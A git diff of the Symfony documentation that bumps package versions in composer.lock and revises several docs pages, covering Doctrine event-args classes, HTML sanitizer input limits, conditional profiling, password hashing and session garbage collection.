             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -744,20 +744,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:25:55+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v6.2.3",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2"
+                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/f2743e033dd05a62978ced0ad368022e82c9fab2",
-                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e0d0f709997ad1224ef22bb0a28287c44b7840f",
+                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f",
                 "shasum": ""
             },
             "require": {
@@ -798,7 +798,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.3"
+                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -814,20 +814,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-22T17:55:15+00:00"
+            "time": "2023-03-09T16:20:02+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v6.2.0",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016"
+                "reference": "82b6c62b959f642d000456f08c6d219d749215b3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/50b2523c874605cf3d4acf7a9e2b30b6a440a016",
-                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/82b6c62b959f642d000456f08c6d219d749215b3",
+                "reference": "82b6c62b959f642d000456f08c6d219d749215b3",
                 "shasum": ""
             },
             "require": {
@@ -861,7 +861,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v6.2.0"
+                "source": "https://github.com/symfony/filesystem/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -877,20 +877,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-20T13:01:27+00:00"
+            "time": "2023-02-14T08:44:56+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v6.2.3",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e"
+                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/81eefbddfde282ee33b437ba5e13d7753211ae8e",
-                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/20808dc6631aecafbe67c186af5dcb370be3a0eb",
+                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb",
                 "shasum": ""
             },
             "require": {
@@ -925,7 +925,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v6.2.3"
+                "source": "https://github.com/symfony/finder/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -941,20 +941,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-22T17:55:15+00:00"
+            "time": "2023-02-16T09:57:23+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v6.2.2",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "7054ad466f836309aef511789b9c697bc986d8ce"
+                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/7054ad466f836309aef511789b9c697bc986d8ce",
-                "reference": "7054ad466f836309aef511789b9c697bc986d8ce",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/66391ba3a8862c560e1d9134c96d9bd2a619b477",
+                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477",
                 "shasum": ""
             },
             "require": {
@@ -1009,8 +1009,11 @@
             ],
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "http"
+            ],
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v6.2.2"
+                "source": "https://github.com/symfony/http-client/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1026,20 +1029,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-14T16:11:27+00:00"
+            "time": "2023-03-31T09:14:44+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf"
+                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/c5f587eb445224ddfeb05b5ee703476742d730bf",
-                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
+                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
                 "shasum": ""
             },
             "require": {
@@ -1091,7 +1094,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -1107,7 +1110,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:32:47+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
@@ -1441,16 +1444,16 @@
         },
         {
             "name": "symfony/process",
-            "version": "v6.2.0",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877"
+                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/ba6e55359f8f755fe996c58a81e00eaa67a35877",
-                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877",
+                "url": "https://api.github.com/repos/symfony/process/zipball/75ed64103df4f6615e15a7fe38b8111099f47416",
+                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416",
                 "shasum": ""
             },
             "require": {
@@ -1482,7 +1485,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v6.2.0"
+                "source": "https://github.com/symfony/process/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1498,20 +1501,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-02T09:08:04+00:00"
+            "time": "2023-03-09T16:20:02+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75"
+                "reference": "a8c9cedf55f314f3a186041d19537303766df09a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/aac98028c69df04ee77eb69b96b86ee51fbf4b75",
-                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/a8c9cedf55f314f3a186041d19537303766df09a",
+                "reference": "a8c9cedf55f314f3a186041d19537303766df09a",
                 "shasum": ""
             },
             "require": {
@@ -1567,7 +1570,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/service-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -1583,20 +1586,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:32:47+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v6.2.2",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "863219fd713fa41cbcd285a79723f94672faff4d"
+                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/863219fd713fa41cbcd285a79723f94672faff4d",
-                "reference": "863219fd713fa41cbcd285a79723f94672faff4d",
+                "url": "https://api.github.com/repos/symfony/string/zipball/193e83bbd6617d6b2151c37fff10fa7168ebddef",
+                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef",
                 "shasum": ""
             },
             "require": {
@@ -1653,7 +1656,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v6.2.2"
+                "source": "https://github.com/symfony/string/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1669,7 +1672,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-14T16:11:27+00:00"
+            "time": "2023-03-20T16:06:02+00:00"
         },
         {
             "name": "symfony/translation-contracts",
@@ -1751,16 +1754,16 @@
         },
         {
             "name": "twig/twig",
-            "version": "v3.5.0",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72"
+                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/3ffcf4b7d890770466da3b2666f82ac054e7ec72",
-                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a6e0510cc793912b451fd40ab983a1d28f611c15",
+                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15",
                 "shasum": ""
             },
             "require": {
@@ -1811,7 +1814,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.5.0"
+                "source": "https://github.com/twigphp/Twig/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -1823,7 +1826,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-27T12:28:18+00:00"
+            "time": "2023-02-08T07:49:20+00:00"
         }
     ],
     "packages-dev": [],
diff --git a/components/clock.rst b/components/clock.rst
index 9202a399638..2556d0da285 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -17,7 +17,7 @@ for different use cases:
 :class:`Symfony\\Component\\Clock\\MockClock`
     Commonly used in tests as a replacement for the ``NativeClock`` to be able
     to freeze and change the current time using either ``sleep()`` or ``modify()``.
-:class:`Symfony\\Component\\Clock\\MonotonicClock``
+:class:`Symfony\\Component\\Clock\\MonotonicClock`
     Relies on ``hrtime()`` and provides a high resolution, monotonic clock,
     when you need a precise stopwatch.
 
diff --git a/components/process.rst b/components/process.rst
index 96a5c8c5642..fbd0e041582 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -109,6 +109,11 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
+.. note::
+
+    The ``create_new_console`` option is only available on Windows!
+
+
 Using Features From the OS Shell
 --------------------------------
 
diff --git a/components/property_info.rst b/components/property_info.rst
index 9703adb4eb0..09f15d6c529 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -438,6 +438,7 @@ information from annotations of properties and methods, such as ``@var``,
 
     // Extraction.php
     use Symfony\Component\PropertyInfo\Extractor\PhpStanExtractor;
+    use App\Domain\Foo;
 
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
@@ -505,6 +506,31 @@ with the ``property_info`` service in the Symfony Framework::
     // Type information.
     $doctrineExtractor->getTypes($class, $property);
 
+ConstructorExtractor
+~~~~~~~~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor`
+tries to extract properties information by using either the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor` or
+the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor`
+on the constructor arguments::
+
+    // src/Domain/Foo.php
+    class Foo
+    {
+        public function __construct(
+            private string $bar,
+        ) {
+        }
+    }
+
+    // Extraction.php
+    use App\Domain\Foo;
+    use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor;
+
+    $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]);
+    $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string'
+
 .. _`components-property-information-extractors-creation`:
 
 Creating Your Own Extractors
diff --git a/components/psr7.rst b/components/psr7.rst
index f8a3915a816..eb5ff8196a9 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -29,9 +29,9 @@ Usage
 Converting from HttpFoundation Objects to PSR-7
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The bridge provides an interface of a factory called
-:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpMessageFactoryInterface`
-that builds objects implementing PSR-7 interfaces from HttpFoundation objects.
+The bridge provides an interface of a factory called 
+`HttpMessageFactoryInterface`_ that builds objects implementing PSR-7
+interfaces from HttpFoundation objects.
 
 The following code snippet explains how to convert a :class:`Symfony\\Component\\HttpFoundation\\Request`
 to a ``Nyholm\Psr7\ServerRequest`` class implementing the
@@ -66,8 +66,8 @@ Converting Objects implementing PSR-7 Interfaces to HttpFoundation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 On the other hand, the bridge provide a factory interface called
-:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpFoundationFactoryInterface`
-that builds HttpFoundation objects from objects implementing PSR-7 interfaces.
+`HttpFoundationFactoryInterface`_ that builds HttpFoundation objects from
+objects implementing PSR-7 interfaces.
 
 The next snippet explain how to convert an object implementing the
 ``Psr\Http\Message\ServerRequestInterface`` interface to a
@@ -93,3 +93,5 @@ to a :class:`Symfony\\Component\\HttpFoundation\\Response` instance::
 .. _`PSR-7`: https://www.php-fig.org/psr/psr-7/
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`libraries that implement psr/http-factory-implementation`: https://packagist.org/providers/psr/http-factory-implementation
+.. _`HttpMessageFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpMessageFactoryInterface.php
+.. _`HttpFoundationFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpFoundationFactoryInterface.php
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index de9a8a31a07..99fbbdd574a 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -179,9 +179,14 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
-* Exception and error messages must not contain backticks (e.g. 'The \`foo\` option ...'),
+* Exception and error messages must not contain backticks,
   even when referring to a technical element (such as a method or variable name).
-  Double quotes must be used at all time (e.g. 'The "foo" option ...'),;
+  Double quotes must be used at all time:
+
+  .. code-block:: diff
+
+    - Expected `foo` option to be one of ...
+    + Expected "foo" option to be one of ...
 
 * Exception and error messages must start with a capital letter and finish with a dot ``.``;
 
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 619e59405fa..1e0fedfd00c 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -119,13 +119,13 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostPersistEventArgs;
 
     class SearchIndexer
     {
         // the listener methods receive an argument which gives you access to
         // both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args): void
+        public function postPersist(PostPersistEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -140,6 +140,11 @@ do so, define a listener for the ``postPersist`` Doctrine event::
         }
     }
 
+.. note::
+
+    In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had
+    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
+
 Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
 a Doctrine listener in your application::
 
@@ -167,12 +172,12 @@ listener in the Symfony application by creating a new service for it and
         namespace App\EventListener;
 
         use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Event\LifecycleEventArgs;
+        use Doctrine\ORM\Event\PostPersistEventArgs;
 
         #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
         class SearchIndexer
         {
-            public function postPersist(LifecycleEventArgs $event): void
+            public function postPersist(PostPersistEventArgs $event): void
             {
                 // ...
             }
@@ -277,13 +282,13 @@ First, define a PHP class that handles the ``postUpdate`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\User;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostUpdateEventArgs;
 
     class UserChangedNotifier
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event): void
+        public function postUpdate(User $user, PostUpdateEventArgs $event): void
         {
             // ... do something to notify the changes
         }
@@ -419,8 +424,10 @@ want to log all the database activity. To do so, define a subscriber for the
 
     use App\Entity\Product;
     use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
+    use Doctrine\ORM\Event\PostPersistEventArgs;
+    use Doctrine\ORM\Event\PostRemoveEventArgs;
+    use Doctrine\ORM\Event\PostUpdateEventArgs;
     use Doctrine\ORM\Events;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
 
     class DatabaseActivitySubscriber implements EventSubscriberInterface
     {
@@ -436,27 +443,25 @@ want to log all the database activity. To do so, define a subscriber for the
         }
 
         // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type LifecycleEventArgs, which gives you access
+        // they receive an argument of type Post*EventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args): void
+        public function postPersist(PostPersistEventArgs $args): void
         {
-            $this->logActivity('persist', $args);
+            $this->logActivity('persist', $args->getObject());
         }
 
-        public function postRemove(LifecycleEventArgs $args): void
+        public function postRemove(PostRemoveEventArgs $args): void
         {
-            $this->logActivity('remove', $args);
+            $this->logActivity('remove', $args->getObject());
         }
 
-        public function postUpdate(LifecycleEventArgs $args): void
+        public function postUpdate(PostUpdateEventArgs $args): void
         {
-            $this->logActivity('update', $args);
+            $this->logActivity('update', $args->getObject());
         }
 
-        private function logActivity(string $action, LifecycleEventArgs $args): void
+        private function logActivity(string $action, mixed $entity): void
         {
-            $entity = $args->getObject();
-
             // if this subscriber only applies to certain entity types,
             // add some code to check the entity type as early as possible
             if (!$entity instanceof Product) {
@@ -467,6 +472,11 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
+.. note::
+
+    In previous Doctrine versions, instead of ``Post*EventArgs`` classes, you had
+    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
 and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
 work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
diff --git a/form/form_collections.rst b/form/form_collections.rst
index ef6fe509b33..e320d85989f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -643,12 +643,8 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 
         class TaskController extends AbstractController
         {
-            public function edit($id, Request $request, EntityManagerInterface $entityManager): Response
+            public function edit(Task $task, Request $request, EntityManagerInterface $entityManager): Response
             {
-                if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
-                    throw $this->createNotFoundException('No task found for id '.$id);
-                }
-
                 $originalTags = new ArrayCollection();
 
                 // Create an ArrayCollection of the current Tag objects in the database
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 3782bb9866f..85d6d750a25 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -94,7 +94,7 @@ The closure must accept a ``FormInterface`` instance as the first argument::
     public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
-            'empty_data' => function (FormInterface $form) {
+            'empty_data' => function (FormInterface $form): Blog {
                 return new Blog($form->get('title')->getData());
             },
         ]);
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index a75b0a02562..9aa26bbe37e 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -931,6 +931,73 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowRelativeMedias()
         );
 
+Max Input Length
+~~~~~~~~~~~~~~~~
+
+In order to prevent `DoS attacks`_, by default the HTML sanitizer limits the
+input length to ``20000`` characters (as measured by ``strlen($input)``). All
+the contents exceeding that length will be truncated. Use this option to
+increase or decrease this limit:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # inputs longer (in characters) than this value will be truncated
+                        max_input_length: 30000 # default: 20000
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <framework:sanitizer name="app.post_sanitizer">
+                        <!-- inputs longer (in characters) than this value will be truncated (default: 20000) -->
+                        <framework:max-input-length>20000</framework:max-input-length>
+                    </framework:sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // inputs longer (in characters) than this value will be truncated (default: 20000)
+                    ->withMaxInputLength(20000)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // inputs longer (in characters) than this value will be truncated (default: 20000)
+                ->withMaxInputLength(20000)
+        );
+
 Custom Attribute Sanitizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1013,3 +1080,4 @@ to enable it for an HTML sanitizer:
 
 .. _`HTML Sanitizer W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
 .. _`W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
+.. _`DoS attacks`: https://en.wikipedia.org/wiki/Denial-of-service_attack
diff --git a/notifier.rst b/notifier.rst
index fd3771109f7..430d27540aa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -36,7 +36,7 @@ The notifier component supports the following channels:
 .. tip::
 
     Use :doc:`secrets </configuration/secrets>` to securely store your
-    API's tokens.
+    API tokens.
 
 .. _notifier-sms-channel:
 
diff --git a/profiler.rst b/profiler.rst
index a4742419e40..bdf7e753814 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -523,6 +523,27 @@ you'll need to configure the data collector explicitly:
                     // 'priority' => 300,
                 ]);
         };
+        
+Conditional Profiling
+~~~~~~~~~~~~~~~~~~~~~
+
+Symfony profiler provides an immense amount of debug information to quickly find the cause of any problem. However, that comes at a price, because the profiler must collect all that information while serving the request. This can slowdown the application even for requests where you don't look at the profiler information (which are most of them).
+
+You can enable the profiler conditionally. To do that, add these two new config options:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/dev/web_profiler.yaml
+            framework:
+                profiler:
+                    collect: false
+                    collect_parameter: 'profile'
+        
+The collect: false option disables the profiler by default and the collect_parameter: profile option enables it for requests that include the profile query parameter.
+
+You can freely choose the query parameter name and you can also enable the profiler by submitting a form field with that name (useful for POST requests) and even a request attribute.
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 1f36a86b52e..745c68da79d 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -34,7 +34,7 @@ unauthenticated user tries to access a protected resource::
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
         public function __construct(
-            UrlGeneratorInterface $urlGenerator,
+            private UrlGeneratorInterface $urlGenerator,
         ) {
         }
 
diff --git a/security/passwords.rst b/security/passwords.rst
index 6cd70f10a9b..ac9c70d2fe9 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -695,6 +695,32 @@ you must register a service for it in order to use it as a named hasher:
 This creates a hasher named ``app_hasher`` from a service with the ID
 ``App\Security\Hasher\MyCustomPasswordHasher``.
 
+Hashing a Stand-Alone String
+----------------------------
+
+The password hasher can be used to hash strings independently
+of users. By using the
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`,
+you can declare multiple hashers, retrieve any of them with
+its name and create hashes. You can then verify that a string matches the given
+hash::
+
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+
+    // configure different hashers via the factory
+    $factory = new PasswordHasherFactory([
+        'common' => ['algorithm' => 'bcrypt'],
+        'sodium' => ['algorithm' => 'sodium'],
+    ]);
+
+    // retrieve the hasher using bcrypt
+    $hasher = $factory->getPasswordHasher('common');
+    $hash = $hasher->hash('plain');
+
+    // verify that a given string matches the hash calculated above
+    $hasher->verify($hash, 'invalid'); // false
+    $hasher->verify($hash, 'plain'); // true
+
 .. _passwordhasher-supported-algorithms:
 
 Supported Algorithms
diff --git a/session.rst b/session.rst
index 2d0df3cad55..bfebcfcbeac 100644
--- a/session.rst
+++ b/session.rst
@@ -409,7 +409,7 @@ logged in by destroying the session after a certain period of idle time. For
 example, it is common for banking applications to log the user out after just
 5 to 10 minutes of inactivity. Setting the cookie lifetime here is not
 appropriate because that can be manipulated by the client, so we must do the expiry
-on the server side. The easiest way is to implement this via garbage collection
+on the server side. The easiest way is to implement this via :ref:`session garbage collection <session-garbage-collection>`
 which runs reasonably frequently. The ``cookie_lifetime`` would be set to a
 relatively high value, and the garbage collection ``gc_maxlifetime`` would be set
 to destroy sessions at whatever the desired idle period is.
@@ -443,6 +443,42 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
+.. _session-garbage-collection:
+
+Configuring Garbage Collection
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a session opens, PHP will call the ``gc`` handler randomly according to the
+probability set by ``session.gc_probability`` / ``session.gc_divisor``. For
+example if these were set to ``5/100`` respectively, it would mean a probability
+of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%.
+
+If the garbage collection handler is invoked, PHP will pass the value stored in
+the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is
+that any stored session that was saved more than ``gc_maxlifetime`` ago should be
+deleted. This allows one to expire records based on idle time.
+
+However, some operating systems (e.g. Debian) do their own session handling and set
+the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
+collection. That's why Symfony now overwrites this value to ``1``.
+
+If you wish to use the original value set in your ``php.ini``, add the following
+configuration:
+
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        session:
+            # ...
+            gc_probability: null
+
+You can configure these settings by passing ``gc_probability``, ``gc_divisor``
+and ``gc_maxlifetime`` in an array to the constructor of
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
+or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
+method.
+
 .. _session-database:
 
 Store Sessions in a Database
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 46e6889a48a..b1aa76c0d17 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -500,6 +500,12 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
